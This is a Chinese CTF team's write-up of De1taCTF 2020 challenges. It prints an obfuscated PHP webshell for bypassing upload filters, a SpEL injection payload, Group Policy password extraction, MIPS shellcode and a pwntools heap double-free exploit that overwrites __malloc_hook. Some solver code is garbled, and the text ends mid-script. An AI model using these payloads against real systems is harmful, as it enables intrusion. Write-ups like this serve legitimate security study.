De1taCTF2020 部分Writeup

admin 2022年3月1日10:42:31评论53 views字数 32695阅读108分59秒阅读模式

De1taCTF2020 部分Writeup


长期招收Re、Crypto和智能合约方向的CTFer


Timeline Sec CTF组成立了两个月,终于迎来了第二次比赛(被师傅们锤),以下分享的是我们在De1ta2020比赛中针对部分题目的解题思路。


Web
check in:
抓包,随便上传了个马,发现存在内容黑名单

De1taCTF2020 部分Writeup

过滤了ph,尝试用短标签绕过
本地测试了下,这样的短标签可以执行任意系统命令,system也可以

De1taCTF2020 部分Writeup


于是我们去选择构造如下的payload上传,让他直接执行命令

De1taCTF2020 部分Writeup

De1taCTF2020 部分Writeup

最终读到flag
De1ctf{cG1_cG1_cg1_857_857_cgll111ll11lll}

Hard_Pentest_1:
解题的出发角度:短标签+无字母数字webshell应该可以绕过上传,fuzz了一天终于可以执行系统命令
上传的php文件内容如下,后缀可以用大小写绕过:
<?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?> <?=$___=$_?><?= $__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?= $__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?= $___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?= $____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?= $____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?= $____.=$__?><?= $_=$$____?><?= $___($_[__]($_[_]))?>

在此基础上去写了一匹小马,查看内网的一些信息:
发现拿到的web主机是192.168.0.11
域控是192.168.0.12
可以直接ping。

De1taCTF2020 部分Writeup

拷贝到本地
C:webuploadsc4886f6b02da81f479721e440dc3aa6fDe1CTF2020.lab> findstr /c:"userName=" /c:"cpassword=" /si *.xmlPolicies{B1248E1E-B97D-4C41-8EA4-1F2600F9264B}MachinePreferencesGroupsGroups.xml:<properties action="U" newname="" fullname="" description="" cpassword="uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08" changelogon="1" nochange="0" <="" p=""> neverExpires="0" acctDisabled="0" userName="HintZip_Pass"/>

然后利用微软公开的密钥解密得到
HintZip_Pass/zL1PpP@sSwO3d
再去解压解密压缩包得到
flag1: De1CTF{GpP_11Is_SoOOO_Ea3333y}

Get flag2 Hint:
hint1: You need De1ta user to get flag2
hint2: De1ta user's password length is 1-8, and the password is composed of [0-9a-f].
hint3: Pay attention to the extended rights of De1ta user on the domain.
hint4: flag2 in Domain Controller (C:UsersAdministratorDesktopflag.txt)

PS: Please do not damage the environment after getting permission, thanks QAQ.
后续的第二题渗透思路也是完善的,可是不懂为什么一直不成功……

calc:
打开靶机,通过每次计算时的发包不难找到提交参数的url http://106.52.164.141/spel/calc?calc=算式
那就应该是spel注入相关的知识,在p牛的codebreaking中的javacon遇到过。

首先关于spel表达式,有如下一些tips
  1. 一直在被引用的博文 http://rui0.cn/archives/1043

  2. 官方文档 : https://docs.spring.io/spring/docs/3.0.x/reference/expressions.html

  3. 文本表达式 : 支持字符串,日期,数字,布尔和 null

  4. 属性值( Properties )使用 . 来访问,数组( Arrays )和列表( Lists )使用 [] 来获取元素,字典( maps )使用 [] 和 key 访问 value

  5. 列表( Lists )可以在表达式中直接使用 {} 表达

  6. 数组可以在表达式中直接使用 Java 语法构建,但是多维数组不能手动初始化

  7. Java 函数可以直接在表达式中使用

  8. 可以使用关系运算,逻辑运算和数学运算

  9. 赋值可以通过赋值运算符来完成,也可以在 setValue 函数中完成,也可以在 getValue 的调用中完成

  10. T(Type) 可以指定 java.lang.class 的实例,但是对于其他实例,要完全限定

  11. 可以使用 new 调用构造函数,但是除了基元类型和字符串(其中可以使用int、float等)之外,所有的类都应该使用完全限定的类名

  12. 变量可以使用 #变量名 来进行引用,这些变量是在 StandardEvaluationContext 中使用 setVariable 赋值的

  13. 使用 #root 引用根对象,使用 #this 引用当前上下文对象。

  14. 通过使用 StandardEvaluationContext 中的 registerFunction(String name, Method m) 函数来自定义函数

  15. 如果已使用 Bean 解析器配置了上下文,可以使用 @ 获取 Bean

  16. 表达式允许多个文本和解析块混合使用,常以 #{} 作为分界符


在找未被过滤的java读取文件的方法的时候,发现了java.util.Scanner函数,参考 https://blog.csdn.net/earthhour/article/details/79603100

然后就是实例化的问题了,由于过滤了比较关键的T()就尝试 new,发现 new 也被过滤了,但是可以使用 new 绕过

最终 payload
http://106.52.164.141/spel/calc?calc=neW%20java.util.Scanner(neW%20java.io.File(%22/flag%22)).nextLine()

flag : De1CTF{NobodyKnowsMoreThanTrumpAboutJava}

PWN
code_runner
题目只给了一个服务器地址,nc上去之后会要求输入一个长度为3的字符串,要求字符串的sha256加密后得到指定的hash值。由于字符串长度不长,此步骤爆破即可。
之后得到一个base64编码的字符串,复制到本地解码之后发现是一个gz文件,再次解压缩就给了一个二进制文件,使用flie 命令发现这是个MIPS文件
# file real_code
real_code: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, for GNU/Linux 3.2.0, BuildID[sha1]=054a53e5fce96f662a15137fe88cdfbffbbbb9c8, stripped

因此需要先搭建环境,GitHub有个项目叫做arm_now,可以简单快速的搭建MIPS调试环境,使用此命令开启环境。
arm_now start mips32el --sync --redir tcp:1337:1337。其中,--sync指将当前目录复制并加载到虚拟环境中,--redir tcp:1337:1337指将端口转发到本机,便于之后的gdb调试。
接着先静态分析下,由于是MIPS文件,IDA并不能很好的反编译汇编代码,因此很难去理解程序在做什么。此时可以用Ghidra去加载文件并反编译,反编译代码如下。
undefined4 main(void){ int iVar1; undefined8 uVar2; ulonglong uVar3; timeval tStack292; timeval tStack284; undefined auStack276 [256]; int iStack20; iStack20 = __stack_chk_guard; gettimeofday(&tStack292,(__timezone_ptr_t)0x0); memset(auStack276,0,0x100); FUN_00401dc0(); iVar1 = FUN_00401e88(); if (iVar1 != 0) { gettimeofday(&tStack284,(__timezone_ptr_t)0x0); tStack292.tv_usec = ((tStack284.tv_sec - tStack292.tv_sec) * 1000000 + tStack284.tv_usec) - tStack292.tv_usec; __divdi3(tStack292.tv_usec,0,1000000,0); uVar2 = __moddi3(tStack292.tv_usec,0,1000000,0); printf("======== %lld.%llds ========n"); FUN_00401f64(tStack292.tv_usec,0); puts("Your time comes.n> "); uVar3 = __divdi3(tStack292.tv_usec,0,100000,0,(int)((ulonglong)uVar2 >> 0x20),(int)uVar2); if (((int)uVar3 == 0) && (uVar3 < 0xd00000000)) { read(0,auStack276,(int)(uVar3 >> 0x20) * -4 + 0x34); } (*(code *)auStack276)();} if (iStack20 == __stack_chk_guard) { return 0;} __stack_chk_fail();}

读源码过程中,发现了几个关键点

  1. iVar1 = FUN_00401e88();我们需要使得iVar1不为0,才有机会进入到下面的内容

  2. (*(code *)auStack276)();程序试图直接执行栈上内容

  3. ((int)uVar3 == 0) && (uVar3 < 0xd00000000)条件达成时,程序直接读取shellcode,并执行

后两点表示如果我们执行到读取shellcode,那么基本上就可以完全控制这个程序了。因此,我们要先解决第一点。进一步分析FUN_00401e88(),了解到程序会先读取0x100的输入,然后对这个输入做一系列的验证,只有通过所有验证函数才可以返回一个非零值。这些验证函数,每一个函数处理4字节的输入,然后如果此4字节通过验证,会调用另一个函数再去处理接下来的4字节;如果此4字节没有通过验证,则直接返回0。这种模式我们称之为线性,也就是说一旦有4字节的输入不正确,接下来的所有输入都不会被验证。
线性模式的解题利器就是angr,我用一段非常简单的脚本就可以跑出来这个程序的正确输入
p = angr.Project("real_code")state = p.factory.blank_state(addr=0x401e88)sm = p.factory.simgr(state)sm.explore(find=0x400b30)# 0x400b30为最内层return非零值的汇编指令print(sm.found[0].posix.dumps(0))

这段代码没有经过优化,并且是用的explore函数,会返回不唯一解,因此在我的VM上大概跑了15分钟。跑出结果后,将解写到solution文件中,然后在MIPS环境中使用
./real_code < solution去看看有没有成功。如果程序打印出"======== %lld.%llds ========n"就代表至少这个输入通过了验证函数。
但当我尝试去连接远程的时候,并没有打印出我想要的内容。同时,我发现每次返回的二进制文件其实不同。我将两次不同的文件反编译,不同之处就在于验证函数。仔细观察验证函数,发现验证函数的每一层其实都有一个模板,看下面的两个函数伪代码说明
short FUN_004017b4(param_1){ short uVar1; if (((((param_1[2] ^ param_1[3]) == 0x4d) && (param_1[3] == 0xce)) && ((uint)param_1[0] == ((uint)(param_1[2] ^ param_1[3]) & 0x7f) << 1)) && (param_1[1] == (byte)(param_1[2] ^ param_1[3] ^ param_1[0]))) { uVar1 = FUN_0040166c(param_1 + 4);} else { uVar1 = 0;} return uVar1;}
short FUN_004018c0(param_1){ short uVar1; if (((((param_1[0] ^ param_1[1]) == 0x4e) && (param_1[1] == 0x1b)) && ((uint)param_1[2] == ((uint)(param_1[0] ^ param_1[1]) & 0x7f) << 1)) && (param_1[3] == (byte)(param_1[0] ^ param_1[1] ^ param_1[2]))) { uVar1 = FUN_004017b4(param_1 + 4);} else { uVar1 = 0;} return uVar1;}

其中,我们把四个字节看做一个数组,每个不同程序中改变的值有一些常数和数组的下标顺序。由此,我们就可以针对这个模板用z3-solver去写一个求解脚本,下面是针对上述模板的求解函数。

def case1(p, verbose=False):# p: list of ints# e.g. for FUN_004018c0# p = [0, 1, 0x4e, 1, 0x1b, 2, 0, 1, 0x7f, 3, 0, 1, 2] s = Solver() a = BitVec('a', 32) A = [a & 0xff, (a >> 8) & 0xff, (a >> 16) & 0xff, (a >> 24) & 0xff] s.add(A

] ^ A

] == p[2]) s.add(A

] == p[4]) s.add(A

] == ((A

] ^ A

]) & p[8]) << 1) s.add(A

] == A

] ^ A

] ^ A

])
if verbose: print(s) if s.check() == sat: m = s.model() return m[a].as_long() else: print("1unsat :(") exit()


我在不同的程序中一共发现6种模板,写出求解脚本后,需要写一个提取变量(数组下标和常量)的脚本,这里我用了capstone去转换并分析汇编代码,此段代码过于繁琐,并且是纯体力劳动,因此不把代码贴出来了。在求解成功之后,程序会读取你的名字(8字节长),以写入排行榜,这里和解题无关。

再之后是读取shellcode,看这一段代码
uVar3 = __divdi3(tStack292.tv_usec,0,100000,0,uVar2 >> 0x20,uVar2); if (((int)uVar3 == 0) && (uVar3 < 0xd00000000)) { read(0,auStack276,(int)(uVar3 >> 0x20) * -4 + 0x34); } (*(code *)auStack276)();

虽然我不太了解divdi3函数的究竟进行了什么操作,但这里可以大胆预测读取的长度和求解时间长短有关,并且理论最大值为0x34字节(read函数的第三个参数),接下来就是构造shellcode。由于MIPS的特殊性,
execve("/bin/sh", 0, 0)是不可取的,而是需要execve("/bin/sh", ["/bin/sh", 0], 0)。在本地测试时,由于解是提前求好的并且没有网络延迟,程序基本上可以读取理论最大值的长度。但在远程,较长的shellcode不能保证完全被读取,所以我们需要使用ROP的技巧修改read的长度并且再一次返回到read,读取一段长shellcode,并且执行这段shellcode。最终shellcode如下。
第一段:"x00x01x06x24" li a2, 256"xdcxffxffx27" addiu ra, ra, -36"x08x00xe0x03" jr ra"x00x00x00x00" * 10    nop * 10 这里是padding第二段:"xffxffx06x28" slti a2, zero, -1"xffxffxd0x04" bltzal a2, 0x7fda0380"xe0xffxbdx27" addiu sp, sp, -32"x18x00xe4x27" addiu a0, ra, 24"xe8xffxa4xaf" sw a0, -24(sp)"xecxffxa0xaf" sw zero, -20(sp)"xe8xffxa5x23" addi a1, sp, -24"xabx0fx02x24" li v0, 4011"x0cx01x01x01" syscall 0x40404"/bin/sh"

只要程序读取前三行(12字节)的shellcode,便会将a2寄存器设置成256,并且跳转到ra-36的位置。ra寄存器储存的值是pc(program counter),由于MIPS的指令长度都是4,那ra-36也就是9个指令之前,也就正好是调用read函数的地方。MIPS中传参使用的寄存器是a0-a3,而在这个例子中,我们需要的寄存器值都没有发生改变,也就是说在
read(0,auStack276,(int)(uVar3 >> 0x20) * -4 + 0x34);中我们只需要改变a2的值为256就可以达到`read(0,auStack276,256);的效果。
MIPS中的x00x00x00x00代表的就是nop。这里我们假设第一段shellcode的内容没有完全被读完(由于时间限制),而是只读取了前3行指令和n个 nop,那此时stdin中剩下的内容就是(10 - n)个nop以及真正生成shellcode的指令。在第二次读取时,程序就会执行(10 - n)个nop,再执行完整的shellcode,至此,shell被生成。
解题脚本如下:

bar.py:z3求解脚本
rev.py:分析程序,提取变量,调用rev.py返回脚本
brute.py:执行exp
bar.py
#!/usr/bin/env python
from z3 import *

def abs(x): return If(x >= 0, x, -x)

def case1(p, verbose=False): s = Solver() a = BitVec('a', 32) A = [a & 0xff, (a >> 8) & 0xff, (a >> 16) & 0xff, (a >> 24) & 0xff] s.add(A

] ^ A

] == p[2]) s.add(A

] == p[4]) s.add(A

] == ((A

] ^ A

]) & p[8]) << 1) s.add(A

] == A

] ^ A

] ^ A

])
if verbose: print(s) if s.check() == sat: m = s.model() return m[a].as_long() else: print("1unsat :(") exit()

def case2(p, verbose=False): s = Solver() a = BitVec('a', 32) A = [a & 0xff, (a >> 8) & 0xff, (a >> 16) & 0xff, (a >> 24) & 0xff] s.add(A

] + A

] + A

] == p[3]) s.add(A

] + A

] + A

] == p[7]) s.add(A

] + A

] + A

] == p[11]) s.add(A

] + A

] + A

] == p[15])
if verbose: print(s) if s.check() == sat: m = s.model() return m[a].as_long() else: print p print("2unsat :(") exit()

def case3(p, verbose=False): s = Solver() a = BitVec('a', 32) A = [a & 0xff, (a >> 8) & 0xff, (a >> 16) & 0xff, (a >> 24) & 0xff] s.add(A

] == p[1]) s.add(A

] == p[3]) s.add(A

] == (A

] * A

]) & 0xff) s.add(A

] == (A

] * A

] + A

] * A

] - A

] * A

]) & 0xff)
if verbose: print(s) if s.check() == sat: m = s.model() return m[a].as_long() else: print p print("3unsat :(") exit()

def case4(p, verbose=False): s = Solver() a = BitVec('a', 32) A = [a & 0xff, (a >> 8) & 0xff, (a >> 16) & 0xff, (a >> 24) & 0xff] s.add(A

] + A

] != p[2]) s.add(A

] + A

] != p[5]) s.add(A

] + A

] != p[8])
if verbose: print(s) if s.check() == sat: m = s.model() return m[a].as_long() else: print p print("4unsat :(") exit()
# vals: first 4 values in [], in the order they are encouter in the code

def case5(p, verbose=False): s = Solver() a = BitVec('a', 32) A = [a & 0xff, (a >> 8) & 0xff, (a >> 16) & 0xff, (a >> 24) & 0xff] # print p v1 = A

] * A

] - A

] * A

] v2 = A

] * A

] - A

] * A

] v1b = A

] * A

] - A

] * A

] v2b = A

] * A

] - A

] * A

]
if p[8] == 1: # v2 <= v1 s.add(abs(v1) >= abs(v2)) else: # v2 > v1 s.add(abs(v2) > abs(v1))
if p[9] == 1: s.add(abs(v1b) >= abs(v2b)) else: s.add(abs(v2b) > abs(v1b))
if verbose: print(s) if s.check() == sat: m = s.model() ''' if p[9] == 0 and p[8] == 0: print "---" print (m[a].as_long() & 255)*(m[a].as_long() & 255) - (m[a].as_long() >> 24 & 255)*(m[a].as_long() >> 24 & 255) print (m[a].as_long() >> 8 & 255)*(m[a].as_long() >> 8 & 255) - (m[a].as_long() >> 16 & 255)*(m[a].as_long() >> 16 & 255) print "---" print "---" print hex(m[a].as_long()) ''' return m[a].as_long() else: print("unsat :(") exit()

def case6(p, verbose=False): s = Solver() a = BitVec('a', 32) A = [a & 0xff, (a >> 8) & 0xff, (a >> 16) & 0xff, (a >> 24) & 0xff] s.add(A

] == A

]) s.add(A

] == A

]) s.add(A

] == p[5]) s.add(A

] == p[7])
if verbose: print(s) if s.check() == sat: m = s.model() return m[a].as_long() else: print("6unsat :(") exit()


rev.py:内容过长,附在文章末尾,师傅们有需自取

brute.py:
import hashlibfrom pwn import *import osfrom rev import generatePayloadimport timeimport codesha = open("sha", "rb").read().split("n")dict_sha = {}print "loading"for x in range(len(sha)):    dict_sha[sha[x]] = xprint "loaded dict"# Used a saved dict of sha256# as I thought this would reduce some time taken# but this is not the key to solve the chall# just a waste of space but saves time to bruteforceshellcode = "x00x01x06x24xdcxffxffx27x08x00xe0x03x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xffxffx06x28xffxffxd0x04xe0xffxbdx27x18x00xe4x27xe8xffxa4xafxecxffxa0xafxe8xffxa5x23xabx0fx02x24x0cx01x01x01/bin/sh"def exp():    b6gz = open("b6gz", "wb")    r = remote("106.53.114.216", 9999, level="debug")    r.recvuntil("=========Pow========n")    hash_value = r.recvuntil(""n", drop=True).split("== "")[1]    length = int(r.recvuntil("n", drop=True).split("== ")[1])    guess_all = list(chr(x) for x in range(0x0, 0x100))    guess = p32(dict_sha[hash_value], endian="big")[1:]    r.sendline(guess)    r.recvuntil("Binary Dump:n===============n")    dumps = r.recvuntil("n==", drop=True)    b6gz.write(dumps)    b6gz.close()    os.system("base64 -d b6gz > b6.gz")    os.system("gzip -cd b6.gz > real_code")    payload = generatePayload("real_code")    name = "shellx00x00x00"    r.recvuntil("> ")    r.send(payload)    r.recvuntil("> ")    r.send(name)    r.recvuntil("> ")    r.send(shellcode)    r.interactive()    r.close()# enter exp() manually# as the dict file is loaded into memory# I don't want to reload every time# and sometimes generatePayload() does not work properly# if it throws an exption, ignore it and exp() againcode.interact(local=locals())


De1taCTF2020 部分Writeup

最终得到flag:
De1ctf{9d94bc3d3f57f1b33aee728b5d32d6d473df8df3}

stl_container:
C++写的菜单堆,glibc2.27,有4个功能,每个功能最多创建两个chunk,queue和stack不存在show功能

vector存在double free,先申请出8个chunk,全部free掉,把tcache填满,然后再free一次vector中的chunk0,就能将main_arena链如unsorted bin中,就能leak libc_base了

De1taCTF2020 部分Writeup

大概像这样
leak完之后将queue和stack的都申请回来,再释放掉,然后再申请一个vector中的chunk0

再次double free,紧接着vector申请一个chunk,里面放malloc_hook-0x16,然后调试看,大概会像这样

De1taCTF2020 部分Writeup

然后再申请一个vector中的chunk,就会申请到以malloc_hook-0x16为地址的chunk,改malloc_hook为one_gadget就gg了
exp:
#!/usr/bin/env python#coding=utf-8from pwn import*import sys#context.log_level = 'debug'context.terminal = ['terminator','-x','sh','-c']binary = './stl_container' local = 0if local == 1: p=process(binary)else: p=remote("134.175.239.26",8848)elf=ELF(binary)libc=ELF("libc-2.27.so")def Ladd(content): p.recvuntil(">> ") p.send("1") p.recvuntil(">> ") p.send("1") p.recvuntil("data:") p.send(content)def vadd(content): p.recvuntil(">> ") p.send("2") p.recvuntil(">> ") p.send("1") p.recvuntil("data:") p.send(content)def qadd(content): p.recvuntil(">> ") p.send("3") p.recvuntil(">> ") p.send("1") p.recvuntil("data:") p.send(content)def sadd(content): p.recvuntil(">> ") p.send("4") p.recvuntil(">> ") p.send("1") p.recvuntil("data:") p.send(content)def Lfree(index): p.recvuntil(">> ") p.send("1") p.recvuntil(">> ") p.send("2") p.recvuntil("index?") p.send(str(index))def vfree(index): p.recvuntil(">> ") p.send("2") p.recvuntil(">> ") p.send("2") p.recvuntil("index?") p.send(str(index))def qfree(): p.recvuntil(">> ") p.send("3") p.recvuntil(">> ") p.send("2")def sfree(): p.recvuntil(">> ") p.send("4") p.recvuntil(">> ") p.send("2")def Lshow(index): p.recvuntil(">> ") p.send("1") p.recvuntil(">> ") p.send("3") p.recvuntil("index?") p.send(str(index))def vshow(index): p.recvuntil(">> ") p.send("2") p.recvuntil(">> ") p.send("3") p.recvuntil("index?") p.send(str(index))def qshow(index): p.recvuntil(">> ") p.send("3") p.recvuntil(">> ") p.send("3") p.recvuntil("index?") p.send(str(index))def sshow(index): p.recvuntil(">> ") p.send("4") p.recvuntil(">> ") p.send("3") p.recvuntil("index?") p.send(str(index))def exp(): Ladd(" ") # 0 Ladd(" ") # 1 vadd(" ") # 2 vadd(" ") # 3 qadd(" ") # 4 qadd(" ") # 5 sadd(" ") # 6 sadd(" ") # 7 Lfree(0) Lfree(1) vfree(0) vfree(1) qfree() qfree() sfree() sfree() vfree(0) qadd(" ") qadd(" ") sadd(" ") sadd(" ") vadd(" ") vshow(0) leak = u64(p.recvuntil('x7f')[-6:].ljust(8, 'x00')) libc_base = leak - 0x3ebc20 malloc_hook = libc_base + libc.sym['__malloc_hook'] realloc = libc_base + libc.sym['realloc'] log.success("libc_base==>" + hex(libc_base)) log.success("malloc_hook==>" + hex(malloc_hook)) one_gadget = libc_base + 0x4f322 print "one==>" + hex(one_gadget) payload = p64(malloc_hook) qfree() qfree() sfree() sfree()



vadd(" ") vfree(0) vfree(0) vadd(p64(malloc_hook-0x16)) payload = "a" *0x16 + p64(one_gadget) vadd(payload) #gdb.attach(p) p.recvuntil(">> ")p.send("1")p.recvuntil(">> ")p.send("1") p.sendline("cat flag") p.interactive()exp()

最终得到flag:
De1CTF{NeuEr_u51ng_O6j3ct_1n_VecT0r}

Misc
Welcome_to_the_2020_de1ctf:
tg走一走,flag就到手

check_in!
https://t.me/De1CTF
De1CTF{m4y_th3_f0rc3_b3_w1th_y0u}

Misc杂烩/Misc Chowder
从流量包里提取出几张图片,有用的一张是一个链接:

De1taCTF2020 部分Writeup

访问之后下载了一个readme.zip
解压后是一个docx文件,直接改掉docx的后缀为zip,查看到一个 You_found_me_Orz.zip
然后通过azpr去爆破这个zip的密码,成功爆破出密码为DE34Q1
得到图片:You_found_me_Orz.jpg
通过binwalk处理此图片,得到以下内容:

De1taCTF2020 部分Writeup

然后这里没有直接看到flag,flag.txt里的内容也是假的,7z解压打开能直接看到ntfs隐写的文件,找到flag在666.jpg_fffffffflllll.txt

De1taCTF2020 部分Writeup

flag:
De1CTF{E4Sy_M1sc_By_Jaivy_31b229908cb9bb}

mc_joinin 
Hurry up and join in the game.
We’re waiting for you.
mc_joinin's flag is: De1CTF{md5(flag)}

在题目环境 Web 页面获取到信息如下:

Minecraft 20.20 is developed by De1ta Team based on 1.12
Headless: Client isn't necessary.

首先尝试通过 HMCL 启动器安装 Java 1.12 版本的游戏资源,尝试离线模式加入多人游戏。

De1taCTF2020 部分Writeup

提示版本不兼容,无法连接至服务器。

De1taCTF2020 部分Writeup

在 Github 上检索 Minecraft client 找到仓库 [pyCraft](https://github.com/ammaraskar/pyCraft):

De1taCTF2020 部分Writeup
运行 start.py 尝试连接服务器时提示:
VersionMismatch: Server's protocol version of 997 (MC2020) is not supported.
在 ./minecraft/__init__.py 中 229 行添加:'MC2020':  997, 再次尝试:

De1taCTF2020 部分Writeup

成功连接到服务器, Wireshark 捕获流量进行分析:

De1taCTF2020 部分Writeup

HIDE FLAG ONE imgur.com/a/ZOrErVM,进而获取到图片:

De1taCTF2020 部分Writeup

StegSolve 检查时在 Red plane 1 通道获取到隐写信息:

De1taCTF2020 部分Writeup

对图片进行旋转反向变换后获取到 De1CTF{MC2020_Pr0to3l_Is_Funny-ISn't_It?}

De1taCTF2020 部分Writeup

最终 flag:
De1CTF{33426ff09d87c2c988f1c3ff250bcd72}

life:
No Game No Life!
De1taCTF2020 部分Writeup

binwalk 检查 game.jpg 发现有附件文件,`-e` 进行分离:
获取到加密压缩包 flag.zip (内含 txt.pilf.txt)及 passphare.png,需要从 png 中获取 key 解压 flag.zip,passphare.png(27 * 27) 如下:

De1taCTF2020 部分Writeup

尝试作为 QR 、DataMatrix 进行修复识别无果,后通过 Google 搜索 "CTF" "life" "game" 时发现该图很可能出自 [Conway's Game of Life](https://en.wikipedia.org/wiki/Conway%27s_Game_of_Life)(一款模拟细胞演变状态的细胞自动机)。

参考 [Sunshine CTF 2019 Golly Gee Willikers](https://medium.com/ctf-writeups/sunshine-ctf-2019-write-up-c7174c0fb56) , 首先将 passphare.png 转换为 01 矩阵如下:
000000000000010000000000000000000000000000000000000000001000000000010000000000000000001010010100001001011000000110101100101111011001000000101010101000001011010000010100000100000110000000100000110101101100101010010000000101010101011001101100100000010101000010001001101000000100000101100110000000111000000011110001011001101101001010010000001000110000010000001110010110001001101011001010011011000100000010011000101111000110100111100010000001100000011001010101011000010011001110010101011011001100001100101000010001001000000100101000101100000011111001100100110001001111011011100100010111010001010010100000001000100001101001011100100000010010000110000110101011110100111111100110010100011111110110110011111110001001000011110011101010011

再通过如下脚本转换为 [Extended RLE Format](http://golly.sourceforge.net/Help/formats.html):
lines = open("1.txt", "r").read().split("n")content = ""header = "x = 27, y = 27, rule = B3/S23n"



for line in lines: line = line.replace("1", "o") line = line.replace("0", "b") idx = 0 currState = "u" currNum = 0 while idx < 28: # flush the last one if idx == 27: if currNum > 1: content += str(currNum) + currState content += "$" else: content += line[26] content += "$" break # init state if currState == "u": currState = line[idx] currNum = 1 # already inited # and same state of cell elif currState == line[idx]: currNum += 1 elif currState != line[idx]: # print("flush now") result = str(currNum) + currState if currNum != 1 else currState content += result currState = line[idx] currNum = 1 # print(line[idx], str(currNum) + currState, content) idx += 1



print(header + content)

在 https://copy.sh/life/  导入 Extend RLE Format state 如下:
x = 27, y = 27, rule = B3/S2313bo13b$27b$2bo10bo13b$5bobo2bobo4bo2bob2o3b$3b2obob2o2bob4ob2o2bo3b$3bobobobobo5bob2obo4b$bobo5bo5b2o7bo2b$3b2obob2ob2o2bobobo2bo4b$3bobobobobob2o2b2ob2o2bo2b$4bobobo4bo3bo2b2obo3b$3bo5bob2o2b2o7b3o$7b4o3bob2o2b2ob2obo$2bobo2bo6bo3b2o5bob$5b3o2bob2o3bo2b2obob2o$2bobo2b2ob2o3bo6bo2b2o$3bob4o3b2obo2b4o3bob$5b2o6b2o2bobobobob2o$4bo2b2o2b3o2bobobob2ob2o$2b2o4b2o2bobo4bo3bo2bo$6bo2bobo3bob2o6b2o$3o2b2o2bo2b2o3bo2b4ob2o$b3o2bo3bob3obo3bobo2bob$o7bo3bo4b2obo2bob2o$o2bo6bo2bo4b2o4b2ob$obob4obo2b7o2b2o2bob$o3b7ob2ob2o2b7ob$2bo2bo4b4o2b3obobo2b2o$

观察下一个 Step发现 QR Code,获取到 key: AJTC8ADEVRA13AR.

De1taCTF2020 部分Writeup

进而解压分离出的zip,获取到 txt.pilf.txt , 对其内容先进行 flip 反转后 Base64 解码,再得到的结果反转后 Base16 解码获取到最终 flag:De1CTF{l3t_us_s7art_th3_g4m3!}.

Timeline Sec CTF组长期招收Re、Crypto和智能合约方向的CTFer,为啥长期招收这两个方向,不如看看这次wp分享少了哪两个方向的题解(手动狗头),欢迎感兴趣的师傅私聊我们的公众号!

我们的战队刚成立了两个月,目前只经历了两场比赛的锻炼,名次一次比一次有所进步,TLS团队内部的学习氛围浓厚,会定时组织分享交流和内部赛练习,希望在时间的长河中,我们都能相遇。

最后附上code_runner(rev.py):
from elftools.elf.elffile import ELFFilefrom capstone import *import code as cdfrom bar import *from pwn import p32def generatePayload(path):    with open(path, 'rb') as f:    # with open('ver/bin', 'rb') as f:    # with open('ver/code3', 'rb') as f:        elf = ELFFile(f)        code = elf.get_section_by_name('.text')        ops = code.data()        addr = code['sh_addr']        md = Cs(CS_ARCH_MIPS, CS_MODE_32 + CS_MODE_LITTLE_ENDIAN)        n = 0        check_functions = []        instructions = {}        for i in md.disasm(ops, addr):            instructions[i.address] = [i.mnemonic, i.op_str]            if "jal" in i.mnemonic:                n += 1                if n > 5 and n < 22:                    # print "{}:t{}t{}".format(hex(i.address), i.mnemonic, i.op_str)                    check_functions.append(int(i.op_str, 16))        check_functions.sort()        # print list(hex(term) for term in check_functions)        type1 = {}        type2 = {}        type3 = {}        type4 = {}        type5 = {}        type6 = {}        for func_addr in check_functions:            # type 1            if instructions[func_addr + 0xe0][0] == u"jal" or instructions[func_addr + 0xe0 - 8][0] == u"jal" or instructions[func_addr + 0xe0 + 4][0] == u"jal" or instructions[func_addr + 0xdc][0] == u"jal":                para_offset = func_addr + 0x18                parameters = []                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0xc                else:                    parameters.append(u"0")                    para_offset += 0x8                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0x10                else:                    parameters.append(u"0")                    para_offset += 0xc                # constant                curr_ins = instructions[para_offset]                parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))                para_offset += 0x10                curr_ins = instructions[para_offset]                if 'lbu' not in 